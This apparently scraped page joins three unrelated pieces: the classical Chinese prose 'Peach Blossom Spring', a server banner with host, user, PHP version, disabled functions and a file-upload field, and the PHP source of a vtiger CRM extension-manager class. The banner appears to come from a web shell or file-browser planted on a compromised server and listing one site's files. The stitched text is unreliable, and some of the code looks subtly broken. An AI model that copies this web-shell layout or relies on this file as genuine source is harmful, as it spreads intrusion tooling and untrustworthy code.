晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/Settings/ModuleManager/models/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
vimport('~~/vtlib/Vtiger/Net/Client.php');
vimport('~~/vtlib/Vtiger/Package.php');
class Settings_ModuleManager_Extension_Model extends Vtiger_Base_Model {
STATIC $EXTENSION_LOOKUP_URL = false;
STATIC $EXTENSION_MANAGER_URL= false;
var $fileName;
public static function getUploadDirectory($isChild = false) {
$uploadDir .= 'test/vtlib';
if ($isChild) {
$uploadDir = '../'.$uploadDir;
}
return $uploadDir;
}
public static function getExtensionsLookUpUrl() {
return self::$EXTENSION_LOOKUP_URL;
}
public static function getExtensionsManagerUrl() {
return self::$EXTENSION_MANAGER_URL;
}
/**
* Function to set id for this instance
* @param <Integer> $extensionId
* @return <type>
*/
public function setId($extensionId) {
$this->set('id', $extensionId);
return $this;
}
/**
* Function to set file name for this instance
* @param <type> $fileName
* @return <type>
*/
public function setFileName($fileName) {
$this->fileName = $fileName;
return $this;
}
/**
* Function to get Id of this instance
* @return <Integer> id
*/
public function getId() {
return $this->get('id');
}
/**
* Function to get name of this instance
* @return <String> module name
*/
public function getName() {
return $this->get('name');
}
/**
* Function to get file name of this instance
* @return <String> file name
*/
public function getFileName() {
return $this->fileName;
}
/**
* Function to get package of this instance
* @return <Vtiger_Package> package object
*/
public function getPackage() {
$packageModel = new Vtiger_Package();
$moduleName = $packageModel->getModuleNameFromZip(self::getUploadDirectory(). '/' .$this->getFileName());
if ($moduleName) {
return $packageModel;
}
return false;
}
/**
* Function to check whether it is compatible with vtiger or not
* @return <boolean> true/false
*/
public function isVtigerCompatible() {
vimport('~~/vtlib/Vtiger/Version.php');
$vtigerVersion = $this->get('vtigerVersion');
$vtigerMaxVersion = $this->get('vtigerMaxVersion');
if ((Vtiger_Version::check($vtigerVersion, '>=') && $vtigerMaxVersion && Vtiger_Version::check($vtigerMaxVersion, '<'))
|| Vtiger_Version::check($vtigerVersion, '=')) {
return true;
}
return false;
}
/**
* Function to check whether the module is already exists or not
* @return <true/false>
*/
public function isAlreadyExists() {
$moduleName = $this->getName();
$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
if($moduleModel) {
return true;
}
return false;
}
/**
* Function to check whether the module is upgradable or not
* @return <type>
*/
public function isUpgradable() {
$moduleName = $this->getName();
$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
if ($moduleModel) {
if ($moduleModel->get('version') < $this->get('pkgVersion')) {
return true;
}
}
return false;
}
/**
* Function to store the details of tracking
* @return <boolean> true/false
*/
public function installTrackDetails() {
$currentUserModel = Users_Record_Model::getCurrentUserModel();
$client = new Vtiger_Net_Client(self::getExtensionsManagerUrl() . '/api.php');
$client->setHeaders(array('Referer' => vglobal('site_URL')));
$params['operation'] = 'extensionTrack';
$params['extensionid'] = $this->getId();
$params['email'] = $currentUserModel->get('email1');
$params['lname'] = $currentUserModel->get('last_name');
$params['fname'] = $currentUserModel->get('first_name');
$client->doGet($params);
return true;
}
/**
* Function to get instance by using XML node
* @param <XML DOM> $extensionXMLNode
* @return <Settings_ModuleManager_Extension_Model> $extensionModel
*/
public static function getInstanceFromXMLNodeObject($extensionXMLNode) {
$extensionModel = new self();
$objectProperties = get_object_vars($extensionXMLNode);
foreach($objectProperties as $propertyName => $propertyValue) {
$propertyValue = (string)$propertyValue;
if ($propertyName === 'description') {
$propertyValue = nl2br(str_replace(array('<','>'), array('<', '>'), br2nl(trim($propertyValue))));
}
$extensionModel->set($propertyName, $propertyValue);
}
$label = $extensionModel->get('label');
if (!$label) {
$extensionModel->set('label', $extensionModel->getName());
}
return $extensionModel;
}
/**
* Function to get instance by using id
* @param <Integer> $extensionId
* @param <String> $fileName
* @return <Settings_ModuleManager_Extension_Model> $extension Model
*/
public static function getInstanceById($extensionId, $fileName = false) {
$uploadDir = self::getUploadDirectory();
if ($fileName) {
if (is_dir($uploadDir)) {
$uploadFileName = "$uploadDir/$fileName";
checkFileAccess(self::getUploadDirectory());
$extensionModel = new self();
$extensionModel->setId($extensionId)->setFileName($fileName);
return $extensionModel;
}
} else {
if (!is_dir($uploadDir)) {
mkdir($uploadDir);
}
$uploadFile = 'usermodule_'. time() . '.zip';
$uploadFileName = "$uploadDir/$uploadFile";
checkFileAccess(self::getUploadDirectory());
$packageAvailable = Settings_ModuleManager_Extension_Model::download($extensionId, $uploadFileName);
if ($packageAvailable) {
$extensionModel = new self();
$extensionModel->setId($extensionId)->setFileName($uploadFile);
return $extensionModel;
}
}
return false;
}
/**
* Function to get all availible extensions
* @param <Object> $xmlContent
* @return <Array> list of extensions <Settings_ModuleManager_Extension_Model>
*/
public static function getAll() {
$extensionModelsList = array();
$extensionLookUpUrl = self::getExtensionsLookUpUrl();
if ($extensionLookUpUrl) {
$clientModel = new Vtiger_Net_Client($extensionLookUpUrl);
$xmlContent = $clientModel->doGet();
if (!$extensionModelsList && $xmlContent && !stripos($xmlContent, "<?xml")) {
$extensionsXML = simplexml_load_string($xmlContent);
if ($extensionsXML->extension) {
foreach ($extensionsXML->extension as $extensionXMLNode) {
$extensionModelsList[(string) ($extensionXMLNode->id)] = self::getInstanceFromXMLNodeObject($extensionXMLNode);
}
}
}
}
return $extensionModelsList;
}
/**
* Function to download the file of this instance
* @param <Integer> $extensionId
* @param <String> $targetFileName
* @return <boolean> true/false
*/
public static function download($extensionId, $targetFileName) {
$extensions = self::getAll();
$downloadURL = $extensions[$extensionId]->get('downloadURL');
if ($downloadURL) {
$clientModel = new Vtiger_Net_Client($downloadURL);
file_put_contents($targetFileName, $clientModel->doGet());
return true;
}
return false;
}
}